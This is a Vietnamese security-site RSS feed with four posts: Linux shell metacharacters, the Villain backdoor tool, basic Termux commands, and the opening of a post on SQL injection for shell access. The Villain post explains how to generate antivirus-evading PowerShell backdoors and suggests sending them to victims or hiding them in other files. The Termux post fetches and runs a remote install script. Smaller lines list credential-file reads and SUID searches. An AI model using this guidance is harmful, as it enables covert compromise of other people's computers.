<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:media="http://search.yahoo.com/mrss/" >

<channel>
	<title>shell &#8211; AnonyViet</title>
	<atom:link href="https://anonyviet.com/tag/shell/feed/" rel="self" type="application/rss+xml" />
	<link>https://anonyviet.com</link>
	<description>Webiste chia sẻ kiến thức công nghệ thông tin, mạng máy tính, bảo mật phổ biến nhất Việt Nam. Luôn cập nhật tin tức, thủ thuật nóng hổi nhất</description>
	<lastBuildDate>Thu, 24 Jul 2025 17:02:06 +0000</lastBuildDate>
	<language>vi</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://anonyviet.com/wp-content/uploads/2018/10/cropped-ico-logo-75x75.png</url>
	<title>shell &#8211; AnonyViet</title>
	<link>https://anonyviet.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Mọi thứ bạn cần biết về siêu ký tự (Metacharacters) Linux</title>
		<link>https://anonyviet.com/moi-thu-ban-can-biet-ve-sieu-ky-tu-metacharacters-linux/</link>
					<comments>https://anonyviet.com/moi-thu-ban-can-biet-ve-sieu-ky-tu-metacharacters-linux/#comments</comments>
		
		<dc:creator><![CDATA[Ellyx13]]></dc:creator>
		<pubDate>Fri, 29 Dec 2023 00:07:43 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Bash]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[Siêu ký tự]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=39098</guid>

					<description><![CDATA[Tính năng mạnh mẽ nhất của Linux Bash shell là khả năng làm việc với các file và chuyển hướng đầu vào và đầu ra của chúng một cách vô cùng hiệu quả. Linux sử dụng các ký tự hoặc ký hiệu đặc biệt được gọi là siêu ký tự (Metacharacters) bổ sung cho lệnh [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Tính năng mạnh mẽ nhất của Linux Bash shell là khả năng làm việc với các file và chuyển hướng đầu vào và đầu ra của chúng một cách vô cùng hiệu quả. Linux sử dụng các ký tự hoặc ký hiệu đặc biệt được gọi là siêu ký tự (Metacharacters) bổ sung cho lệnh shell liên quan đến tìm kiếm tệp và kết nối lệnh.</p>
<p><img fetchpriority="high" decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2022/01/linux-metacharacters.jpg" alt="Mọi thứ bạn cần biết về siêu ký tự (Metacharacters) Linux" width="707" height="354" title="Mọi thứ bạn cần biết về siêu ký tự (Metacharacters) Linux 4"></p>
<p>Các siêu ký tự rất hữu ích trong việc liệt kê, xóa và sao chép các tệp trên Linux. Tuy nhiên, chức năng của mỗi siêu ký tự khác nhau tùy thuộc vào lệnh bạn đang sử dụng.</p>
<p>Bài viết này cung cấp kiến thức chuyên sâu về các loại siêu ký tự khác nhau trong Linux. Và mình sẽ giải thích cách các ký tự đặc biệt này giúp kết nối và mở rộng các lệnh.</p>
<h2>Xử lý File với siêu ký tự</h2>
<p>Linux shell cho phép bạn lưu các lần gõ phím khi nhập lệnh bằng cách sử dụng siêu ký tự giữa các tệp hoặc tên thư mục. Những ký tự này giúp bạn tham chiếu đến một nhóm tệp hoặc một thư mục để liệt kê, di chuyển hoặc thực hiện các hành động khác.</p>
<p>Đây là một số siêu ký tự trong Linux Shell:</p>
<ul>
<li>* (Dấu hoa thị): Khớp một hoặc nhiều lần xuất hiện của một ký tự</li>
<li>? (Dấu chấm hỏi): Khớp một ký tự đơn lẻ hoặc một lần xuất hiện mẫu</li>
<li>[] (Dấu ngoặc vuông): Khớp với bất kỳ số, ký hiệu hoặc bảng chữ cái được phân tách bằng dấu gạch ngang nào được chỉ định bên trong dấu ngoặc vuông</li>
</ul>
<p>Một cách lý tưởng để thực hành siêu ký tự trong Linux là tạo một thư mục trống mới bên trong thư mục <strong>/tmp</strong>.</p>
<p><code>sudo mkdir /tmp/meta</code></p>
<p>Bây giờ truy cập vào thư mục <strong>/tmp/meta</strong> bằng lệnh <strong>cd</strong> và tạo các tệp trống mới bằng cách sử dụng lệnh <strong>touch</strong>:</p>
<p><code>touch apple.txt cider.sh vinegar.php cat.txt lemon.txt juice.sh catfish.sh</code><code> </code></p>
<p>Sử dụng các lệnh sau để kiểm tra siêu ký tự &#8220;*&#8221; và hiển thị kết quả đầu ra:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">ls c*
Output:
catfish.sh cat.txt cider.sh</pre>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">ls c*h
Output:
catfish.sh cider.sh</pre>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">ls *r*
Output:
cider.sh vinegar.php</pre>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">sudo rm *p*</pre>
<p>Lệnh trên sẽ xóa tất cả các tệp có chứa ký tự <strong>&#8220;p&#8221;</strong> trong tên của nó. Bạn có thể xác nhận thay đổi bằng lệnh <strong>ls</strong>:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">ls
Output:
catfish.sh cat.txt cider.sh juice.sh lemon.txt</pre>
<div class="TnITTtw-tpart TnITTtw-t">Dưới đây là một số ví dụ về dấu &#8220;?&#8221;:</div>
<div class="TnITTtw-mv-translit TnITTtw-translation-translit TnITTtw-t">
<pre class="EnlighterJSRAW" data-enlighter-language="generic">ls a?*
Output:
apple.txt</pre>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">ls c?t*
Output:
catfish.sh cat.txt</pre>
<p>Lệnh cuối cùng khớp với bất kỳ tệp nào bắt đầu bằng chữ <strong>c</strong> và có chữ<strong> t</strong> là chữ cái thứ ba (cat.txt, catfish.sh,&#8230;). Bây giờ sử dụng tùy chọn <strong>[av]*</strong> với lệnh ls để liệt kê tất cả các tệp bắt đầu bằng <strong>a</strong> hoặc <strong>v:</strong></p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">ls [av]*
Output:
apple.txt vinegar.sh</pre>
<p>Bạn có thể sửa đổi lệnh trên để chỉ liệt kê các tệp kết thúc bằng chữ <strong>t</strong>:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">ls [ac]*[t]
Output:
apple.txt catfish.txt cat.txt</pre>
<p>Tương tự, bạn có thể sử dụng các chữ cái được phân tách bằng dấu gạch ngang để xác định phạm vi và liệt kê các tệp như sau:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">ls [a-j]*
Output:
apple.txt catfish.sh cat.txt cider.sh juice.sh</pre>
<h2>Chuyển hướng file siêu ký tự</h2>
<p>Để hiểu rõ hơn về chuyển hướng trong Bash, mỗi quy trình trong Linux đều có các bộ mô tả tệp, được gọi là đầu vào tiêu chuẩn (stdin/0), đầu ra tiêu chuẩn (stdout/1) và lỗi tiêu chuẩn (stderr/2). Chúng xác định nguồn gốc của đầu vào lệnh và quyết định nơi gửi đầu ra và thông báo lỗi.</p>
<p>Các siêu ký tự giúp bạn sửa đổi các hành động này bằng cách <a href="https://hoclaptrinh.vn/tutorial/hoc-unix/dieu-huong-io-trong-unix-linux" target="_blank" rel="noopener">chuyển hướng luồng nội dung I/O</a>. Nói chung, Linux shell đọc đầu vào lệnh từ bàn phím và ghi kết quả ra màn hình. Chuyển hướng đầu vào cho phép lệnh đọc nội dung từ tệp thay vì bàn phím, và chuyển hướng đầu ra lưu đầu ra vào tệp.</p>
<p>Nói cách khác, siêu ký tự chuyển hướng tệp Linux cho phép bạn chuyển hướng nội dung đến (&gt;) và từ (&lt;) tệp. Ba siêu ký tự chuyển hướng chính là:</p>
<p>1. <strong>&lt;:</strong> Chuyển nội dung tệp sang lệnh. Ví dụ: đầu ra lệnh cho <strong>less .bashrc</strong> cũng giống như <strong>less &lt; .bashrc</strong>.</p>
<p>2.<strong> &gt;:</strong> Chuyển đầu ra lệnh vào tệp. Lệnh <strong>ls /etc &gt; <span class="skimlinks-unlinked">lists.txt </span></strong><span class="skimlinks-unlinked">sẽ</span> lưu kết quả đầu ra vào tệp <strong>lists.txt</strong>.</p>
<p>3. <strong>&gt;&gt;:</strong> Thêm đầu ra lệnh vào nội dung tệp.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/01/Append_file_with_redirection.jpg" alt="Mọi thứ bạn cần biết về siêu ký tự (Metacharacters) Linux 3" width="582" height="70" title="Mọi thứ bạn cần biết về siêu ký tự (Metacharacters) Linux 5"></p>
<p>wc là viết tắt của word count và bạn có thể sử dụng nó để hiển thị sự khác biệt giữa tệp trước và sau khi gắn nó với đầu ra.</p>
<h2>Siêu ký tự mở rộng dấu ngoặc nhọn</h2>
<p>Siêu ký tự mở rộng dấu ngoặc nhọn cho phép bạn mở rộng các ký tự trên các thư mục, tên tệp hoặc các tham số lệnh khác. Ví dụ: bạn có thể tạo một thư mục mới bên trong thư mục <strong>/tmp</strong> và tạo một tập hợp các tệp bằng cách sử dụng lệnh touch như sau:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">sudo mkdir /tmp/brace; cd /tmp/brace
touch test{1,2,3,4,5}</pre>
<p>Bây giờ, bạn có thể kiểm tra xem touch đã tạo tệp hay chưa bằng lệnh ls.</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">ls
Output:
test1 test2 test3 test4 test5</pre>
<p>Bạn có thể chỉ định nhiều danh sách để tạo tên tệp dựa trên sự kết hợp của các phần tử trong danh sách. Ví dụ:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">touch {apple,cider,vinegar}.{fruit,liquid,sour}
touch {a,b,c}.{1,2,3}</pre>
<p>Lệnh cuối cùng sẽ tạo các tệp sau trong thư mục hiện tại:</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/01/creating-new-files-with-touch.jpg" alt="Mọi thứ bạn cần biết về siêu ký tự (Metacharacters) Linux 4" width="658" height="245" title="Mọi thứ bạn cần biết về siêu ký tự (Metacharacters) Linux 6"></p>
<p>Lệnh đầu tiên sử dụng hai bộ dấu ngoặc nhọn để liên kết tên tệp trong mỗi bộ với bộ kia. Bạn cũng có thể viết lệnh cuối cùng bằng cách <strong>touch {a..c}.{1..3}</strong>  để chỉ định phạm vi giữa a và c và 1 và 3.</p>
<p>Ngoài việc tạo tệp, bạn cũng có thể sử dụng dấu ngoặc nhọn để xóa hoặc sao chép tệp sang các vị trí khác.</p>
<h2>Một số siêu ký tự Linux khác</h2>
<p>Dưới đây là bảng một số siêu ký tự bạn phải biết để kết nối lệnh với tên, mô tả và ví dụ của chúng để thực hành:</p>
<table style="width: 100%; height: 182px;" border="1" cellspacing="1" cellpadding="1">
<thead>
<tr style="height: 14px;">
<th style="height: 14px;" scope="col">Tên</th>
<th style="height: 14px;" scope="col">Mô tả</th>
<th style="height: 14px;" scope="col">Ví dụ</th>
</tr>
</thead>
<tbody>
<tr style="height: 28px;">
<td style="height: 28px;">Pipe (|)</td>
<td style="height: 28px;">Kết nối đầu ra lệnh làm đầu vào cho lệnh khác.</td>
<td style="height: 28px;">cat /etc/passwd | grep root</td>
</tr>
<tr style="height: 28px;">
<td style="height: 28px;">Semicolon (;)</td>
<td style="height: 28px;">Cho phép thực hiện các lệnh tuần tự, lần lượt.</td>
<td style="height: 28px;">cd /etc ; ls -la ; chmod +x /tmp/<span class="skimlinks-unlinked">script.php</span></td>
</tr>
<tr style="height: 28px;">
<td style="height: 28px;">Ampersand (&amp;)</td>
<td style="height: 28px;">Chạy các quy trình hoặc lệnh trong nền.</td>
<td style="height: 28px;">find / -perm -u=s -type f &amp;</td>
</tr>
<tr style="height: 28px;">
<td style="height: 28px;">Dollar ($)</td>
<td style="height: 28px;">Mở rộng biểu thức số học và chuyển nó vào shell</td>
<td style="height: 28px;">echo &#8220;total files in this directory are: $(ls | wc -l)&#8221;</td>
</tr>
<tr style="height: 28px;">
<td style="height: 28px;">Null Redirection (2&gt;)</td>
<td style="height: 28px;">Hướng thông báo lỗi chuẩn đến tệp /dev/null</td>
<td style="height: 28px;">your_command 2&gt;/dev/null</td>
</tr>
<tr style="height: 28px;">
<td style="height: 28px;">Circumflex (^)</td>
<td style="height: 28px;">Khớp với bất kỳ mẫu nào bắt đầu bằng biểu thức theo sau là ^</td>
<td style="height: 28px;">cd /etc/ssh ; ls | grep ^s</td>
</tr>
</tbody>
</table>
<p>Các siêu ký tự trên Linux còn được gọi là các ký tự đại diện bổ sung ý nghĩa đặc biệt cho các lệnh và kiểm soát hành vi của chúng. Các siêu ký tự tối ưu hóa hiệu suất công việc của người dùng trong khi làm việc với các tệp/thư mục và kết nối/mở rộng các lệnh shell Linux.</p>
<p>Bên cạnh đó, siêu ký tự cũng là khối xây dựng của biểu thức chính quy. Ngoài ra, tìm hiểu về siêu ký tự và cách sử dụng chúng là một kỹ năng quan trọng cần có nếu bạn muốn trở thành một người dùng Linux chuyên nghiệp.</p>
<p>Ngoài ra, bạn cũng có thể xem thêm cách viết Shell Script trong Linux <a href="https://anonyviet.com/cach-viet-shell-script-trong-linux-unix/">tại đây</a>.</p>
</div>
<h2>Câu hỏi thường gặp</h2>
<h3>Siêu ký tự * và ? khác nhau như thế nào?</h3>
<p>Siêu ký tự * khớp với một hoặc nhiều ký tự bất kỳ, trong khi ? chỉ khớp với một ký tự duy nhất.  Ví dụ, <code>ls c*</code> sẽ liệt kê tất cả file bắt đầu bằng &#8220;c&#8221;, còn <code>ls c?t</code> sẽ chỉ liệt kê các file bắt đầu bằng &#8220;c&#8221;, tiếp theo là một ký tự bất kỳ và kết thúc bằng &#8220;t&#8221;.</p>
<h3>Làm thế nào để sử dụng siêu ký tự [] để lọc file?</h3>
<p>Siêu ký tự [] cho phép bạn khớp với một tập hợp các ký tự cụ thể. Ví dụ, <code>ls [abc]*</code> sẽ liệt kê tất cả các file bắt đầu bằng &#8220;a&#8221;, &#8220;b&#8221;, hoặc &#8220;c&#8221;. Bạn cũng có thể sử dụng dấu gạch ngang để chỉ định một phạm vi, ví dụ <code>ls [a-z]*</code> sẽ liệt kê tất cả các file bắt đầu bằng một chữ cái thường.</p>
<h3>Siêu ký tự chuyển hướng &gt; và &gt;&gt; khác nhau ra sao?</h3>
<p>Siêu ký tự &gt; sẽ ghi đè nội dung của một file nếu file đó đã tồn tại.  Trong khi đó, &gt;&gt; sẽ thêm nội dung vào cuối file hiện có mà không làm mất đi dữ liệu cũ.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/moi-thu-ban-can-biet-ve-sieu-ky-tu-metacharacters-linux/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Villain &#8211; Bypass AntiVirus chiếm quyền Shell Windows và Linux</title>
		<link>https://anonyviet.com/villain-bypass-antivirus-chiem-quyen-shell-windows-va-linux/</link>
					<comments>https://anonyviet.com/villain-bypass-antivirus-chiem-quyen-shell-windows-va-linux/#respond</comments>
		
		<dc:creator><![CDATA[Hevin]]></dc:creator>
		<pubDate>Sat, 26 Nov 2022 11:08:11 +0000</pubDate>
				<category><![CDATA[Virus-Trojan-Rat]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[bypass antivirus]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[Villain]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=44163</guid>

					<description><![CDATA[Hello Everyone ! Trong bài viết ngày hôm nay, mình sẽ giới thiệu một công cụ chiếm quyền điều khiển shell trên Windows và Linux mang tên Villain. Đây chính là một công cụ khá hay, thú vị thích hợp cho những bạn đam mê ngành bảo mật thông tin đó. Vậy vào ngay vấn [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Hello Everyone ! Trong bài viết ngày hôm nay, mình sẽ giới thiệu một công cụ chiếm quyền điều khiển shell trên Windows và Linux mang tên Villain. Đây chính là một công cụ khá hay, thú vị thích hợp cho những bạn đam mê ngành bảo mật thông tin đó. Vậy vào ngay vấn đề chính thôi !</strong></p>
<p style="text-align: center;"><span style="color: #ff0000;"><strong>Lưu ý: Bài viết chỉ dành cho mục đích nghiên cứu, mọi hành vi bất hợp pháp gây ra Anonyviet không chịu toàn bộ trách nhiệm đó</strong></span></p>
<h2><span style="font-size: 14pt; color: #0000ff;"><strong>Villain &#8211; Công cụ chiếm quyền Shell Windows và Linux</strong></span></h2>
<p>Villain là một công cụ tạo backdoors Windows và Linux và có một chức năng mình khá thích đó là công cụ này có thể kết nối 2 hoặc nhiều máy lại với nhau để làm việc, nó giống như 2 hoặc nhiều hacker chiếm quyền điều khiển 1 hệ thống nào đó.</p>
<p>Công cụ được làm bởi tác giả <a href="https://github.com/t3l3machus" target="_blank" rel="noopener"><strong>t3l3machus</strong></a> là người kiểm tra thâm nhập và cũng là nhà nghiên cứu an ninh mạng. Không chỉ vậy, tool Villain được lấy ý tưởng từ tool <a href="https://github.com/t3l3machus/hoaxshell" target="_blank" rel="noopener">Hoaxshell</a> . Villain được viết hoàn toàn bằng ngôn ngữ Python3 và cách sử dụng cũng khá đơn giản cho người dùng. Villain được tích hợp sẵn chức năng auto-obfuscate payload để hỗ trợ người dùng <a href="https://anonyviet.com/?s=bypass"><strong>vượt qua AntiVirus</strong></a> (dành cho payload của Windows). Do đó, payload không bị phát hiện (tại thời điểm hiện tại). Những payload do Villain tạo ra đều đc viết bằng ngôn ngữ Powershell.</p>
<h2><span style="font-size: 14pt; color: #0000ff;">Cách cài đặt và sử dụng Villain</span></h2>
<p>Để cài đặt tool thì bạn hãy mở terminal lên và nhập các lệnh sau:</p>
<p><code>git clone https://github.com/t3l3machus/Villain</code><br />
<code>cd Villain</code><br />
<code>pip install -r requirements.txt</code> hoặc <code>pip3 install -r requirements.txt</code></p>
<p>Sau khi thực hiện bước trên, bây giờ bạn hãy khởi động tool qua lệnh sau:</p>
<p><code>python Villain.py</code> hoặc <code>python3 Villain.py</code> (tùy thuộc vào phiên bản Python mà bạn đang sử dụng)</p>
<p>Bây giờ, bạn nhập câu lệnh <code>help</code> để xem hướng dẫn, để tạo được backdoors thì đầu tiên bạn cần chú ý đến lệnh <code>generate</code> nghĩa là tạo, còn <code>os=</code> mình sẽ  chiếm quyền Shell Windows nên mình sẽ chọn hệ điều hành là <code>windows</code> còn bạn muốn chọn Linux thì hãy nhập <code>os=linux</code> tiếp theo là <code>lhost=</code> bạn sẽ nhập địa chỉ IP hoặc là interface mà bạn đang sử dụng, ở đây mình sẽ nhập interface là <code>lhost=ens33</code> tiếp đến là <code>obfuscate</code> từ khóa này sẽ làm xáo trộn code virus nhằm bypass AntiVirus</p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2022/11/Screenshot-8.png" alt="Villain - Tạo backdoors vượt qua AntiVirus" width="1360" height="546" title="Villain - Bypass AntiVirus chiếm quyền Shell Windows và Linux 11"></p>
<p>Sau khi hoàn thành các bước trên, việc của bạn bây giờ nhấn enter để tool tự động tạo ra một đoạn code, đoạn code này khi được thực thi trên máy nạn nhân thì nó sẽ tự động chạy ngầm và gửi thông báo về cho hacker là đã chiếm quyền shell thành công.</p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2022/11/Screenshot-9.png" alt="Villain - Bypass AntiVirus chiếm quyền Shell Windows và Linux 8" width="1349" height="183" title="Villain - Bypass AntiVirus chiếm quyền Shell Windows và Linux 12"></p>
<p>Bạn chỉ cần copy đoạn code đó và mở Powershell lên chạy thử xem sao nhé, ngoài ra bạn có thể tạo ra 1 file <strong>.ps1</strong> rồi paste đoạn code đó vào sau đó gửi cho nạn nhân hoặc là đính kèm vào file gì đó tùy các bạn, nên nhớ là không gây hành vi bất hợp nhé. Giờ mình sẽ mở Powershell lên và paste nó vào chạy thử xem sao ^^.</p>
<p>Như kết quả hình bên dưới thì Villain đã gửi thông báo là backdoors đã được thực thi trên máy của nạn nhân</p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2022/11/Screenshot-10.png" alt="Villain - Bypass AntiVirus chiếm quyền Shell Windows và Linux 9" width="1356" height="699" title="Villain - Bypass AntiVirus chiếm quyền Shell Windows và Linux 13"></p>
<p>Để điều khiển máy tính nạn nhân thì bạn làm như sau, đầu tiên nhập lệnh <code>sessions</code> đây là câu lệnh sẽ show ra các máy đã bị chiếm quyền . Bạn thấy rằng, Sessions ID là ID máy nạn nhân, tiếp đến là địa chỉ IP, hệ điều hành, tên user. và bây giờ để bắt đầu điều khiển shell thì chúng ta nhập<code> sessions &lt;session id máy nạn nân&gt;</code></p>
<p>ví dụ như là: <code>shell jhjadbae-823cgfsa-8263hfvd-shfvd678</code></p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2022/11/Screenshot-11.png" alt="Villain - Bypass AntiVirus chiếm quyền Shell Windows và Linux 10" width="798" height="249" title="Villain - Bypass AntiVirus chiếm quyền Shell Windows và Linux 14"></p>
<p><strong><em>Video demo về tool Villain: <a href="https://youtu.be/NqZEmBsLCvQ" target="_blank" rel="noopener">https://youtu.be/NqZEmBsLCvQ</a></em></strong></p>
<p><strong><em>Bài viết đến đây là đã hết rồi, chúc các bạn có một ngày tốt lành!</em></strong></p>
<h2>Câu hỏi thường gặp</h2>
<h3>Villain là gì và nó hoạt động như thế nào?</h3>
<p>Villain là một công cụ mã nguồn mở được viết bằng Python, cho phép tạo backdoor trên hệ điều hành Windows và Linux.  Nó tạo ra payload (mã độc) tự động được mã hóa để vượt qua một số phần mềm diệt virus, cho phép hacker chiếm quyền điều khiển máy tính nạn nhân từ xa.</p>
<h3>Tôi có thể sử dụng Villain để làm gì?</h3>
<p>Villain được thiết kế cho mục đích nghiên cứu an ninh mạng.  Việc sử dụng nó cho các hoạt động bất hợp pháp là vi phạm pháp luật và không được khuyến khích.  Chỉ sử dụng công cụ này trong môi trường được phép và có sự đồng ý của chủ sở hữu hệ thống.</p>
<h3>Payload được tạo bởi Villain có khả năng vượt qua tất cả các phần mềm diệt virus không?</h3>
<p>Không.  Mặc dù Villain có chức năng tự động mã hóa payload để tăng khả năng vượt qua phần mềm diệt virus, nhưng không có gì đảm bảo nó sẽ hiệu quả 100%.  Khả năng phát hiện của phần mềm diệt virus liên tục được cập nhật.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/villain-bypass-antivirus-chiem-quyen-shell-windows-va-linux/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Các lệnh cơ bản trên Termux</title>
		<link>https://anonyviet.com/cac-lenh-co-ban-tren-termux/</link>
					<comments>https://anonyviet.com/cac-lenh-co-ban-tren-termux/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Sat, 30 Jul 2022 01:59:46 +0000</pubDate>
				<category><![CDATA[Phần mềm điện thoại]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[giao diện dòng lệnh]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[terminal]]></category>
		<category><![CDATA[termux]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=42924</guid>

					<description><![CDATA[Anh em chơi hệ Pentest trên Android đều hẵn sử dụng Termux, đây là ứng dụng với các chức năng cơ bản của Linux và hỗ trợ gần như đầy đủ các lệnh cần thiết. Nếu bạn sử dụng Linux quen rồi thì việc sử dụng Termux không có gì là khó. Tuy nhiên trên [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Anh em chơi hệ Pentest trên Android đều hẵn sử dụng Termux, đây là ứng dụng với các chức năng cơ bản của Linux và hỗ trợ gần như đầy đủ các lệnh cần thiết. Nếu bạn sử dụng Linux quen rồi thì việc sử dụng Termux không có gì là khó. Tuy nhiên trên Termux có thêm một số lệnh giúp bạn thảo tác nhanh hơn, hỗ trợ tối ta việc sử dụng lệnh trên thiết bị Android. Chúng ta cùng đi qua một số lệnh cơ bản trên Termux.</strong></p>
<h2>Termux là gì?</h2>
<p>Trong mọi hệ điều hành trên máy tính, bạn có thể sử dụng công cụ dòng lệnh (Terminal/CMD) để điều khiển máy tính. Nhưng để truy cập công cụ dòng lệnh trên Android bạn cần phải dùng ứng dụng Termux.</p>
<p>Bạn có thể xem bài hướng dẫn Termux căn bản:  <a href="https://anonyviet.com/cach-dung-termux-de-cai-phan-mem-hack-tren-dien-thoai-android/">Cách dùng Termux để cài phần mềm Hack trên điện thoại Android</a>.</p>
<p><a href="https://anonyviet.com/wp-content/uploads/2022/07/lenh-co-ban-termux-1.jpg"><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2022/07/lenh-co-ban-termux-1.jpg" alt="lenh co ban termux" width="649" height="326" title="Các lệnh cơ bản trên Termux 16"></a></p>
<h2>Các lệnh cơ bản trên Termux</h2>
<p>Các ứng dụng như Termux cũng cho phép mọi người liệt kê các Subdomain rất dễ dàng bằng cách sử dụng các công cụ có sẵn như <strong>Knockpy</strong>.</p>
<p>Chúng ta sẽ thấy một số lệnh cơ bản để sử dụng trong ứng dụng termux.</p>
<h3>Cập nhật phiên bản Termux</h3>
<p><code>apt update</code></p>
<h3>Kiểm tra xem termux đã được cài đặt đúng chưa</h3>
<p><code>pkg install sl</code></p>
<h3>Kiểm tra các tiến trình đang chạy</h3>
<p><code>top</code></p>
<h3>Hiển thị chữ đẹp hơn</h3>
<p><code>apt install figlet</code></p>
<p><code>figlet anyword</code></p>
<p>Bạn sẽ thấy giao diện theo một phong cách khác.</p>
<h3>Tạo ảnh nền Ma trận trên Termux</h3>
<p><code>apt install cmatrix</code></p>
<p><code>cmatrix</code></p>
<h3>Chuyển đến giao diện shell dễ sử dụng hơn</h3>
<p><code>apt install fish</code></p>
<p><code>fish</code></p>
<p>Lệnh Fish tự động hoàn thành các lệnh. Nhập exit thoát</p>
<h3>Xem giao diện trong phong cách đầy màu sắc</h3>
<p><code>apt install toilet</code></p>
<p><code>toilet -f mono12 -F green BugBounty</code></p>
<h3>Để mở bất kỳ trang web nào trong termux</h3>
<p>apt install w3m</p>
<p>w3m anonyviet.com</p>
<h3>Cài đặt Metasploit trong Termux</h3>
<p>Đầu tiên, cài đặt curl</p>
<p><code>pkg install curl</code></p>
<p>sau đó:</p>
<p>curl -LO https://raw.githubusercontent.com/Hax4us/Metasploit_termux/master/metasploit.sh</p>
<p>Cấp quyền truy cập</p>
<p><code>chmod 777 metasploit.sh</code></p>
<p><code>./metasploit.sh</code></p>
<p>Theo cách tương tự, bạn có thể cài đặt các thêm gói tùy theo nhu cầu của mình. Có rất nhiều <a href="https://github.com/termux/termux-packages" target="_blank" rel="noopener">gói Termux</a> có sẵn trên Github mà bạn có thể dễ dàng cài đặt và cấu hình.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>Termux là gì và tại sao tôi nên sử dụng nó?</h3>
<p>Termux là một trình giả lập terminal Linux mạnh mẽ cho Android.  Nó cho phép bạn sử dụng các lệnh dòng lệnh quen thuộc, cài đặt và chạy các ứng dụng Linux, mở rộng khả năng của thiết bị Android.</p>
<h3>Làm thế nào để cập nhật Termux và kiểm tra xem nó đã được cài đặt đúng chưa?</h3>
<p>Để cập nhật, sử dụng lệnh <code>apt update</code>. Để kiểm tra cài đặt, dùng lệnh  <code>pkg install sl</code>; nếu thấy một hoạt ảnh tàu hỏa, nghĩa là Termux đã được cài đặt thành công.</p>
<h3>Tôi có thể làm gì với lệnh <code>figlet</code> và <code>toilet</code>?</h3>
<p><code>figlet</code> tạo ra văn bản nghệ thuật ASCII, trong khi <code>toilet</code> tạo ra văn bản nghệ thuật ASCII với nhiều kiểu chữ và màu sắc hơn, làm cho đầu ra trên terminal hấp dẫn hơn.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/cac-lenh-co-ban-tren-termux/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell</title>
		<link>https://anonyviet.com/su-dung-sql-injection-de-chay-lenh-va-chiem-quyen-shell/</link>
					<comments>https://anonyviet.com/su-dung-sql-injection-de-chay-lenh-va-chiem-quyen-shell/#respond</comments>
		
		<dc:creator><![CDATA[Ellyx13]]></dc:creator>
		<pubDate>Wed, 30 Mar 2022 00:36:14 +0000</pubDate>
				<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[sql injection]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=40444</guid>

					<description><![CDATA[Một trong những mục tiêu cuối cùng của hack là chiếm quyền điều khiển và up shell để chạy các lệnh hệ thống và đạt mục tiêu hoặc mạng. SQL injection thường chỉ được liên kết với cơ sở dữ liệu và dữ liệu của chúng, nhưng nó thực sự có thể được sử dụng [&#8230;]]]></description>
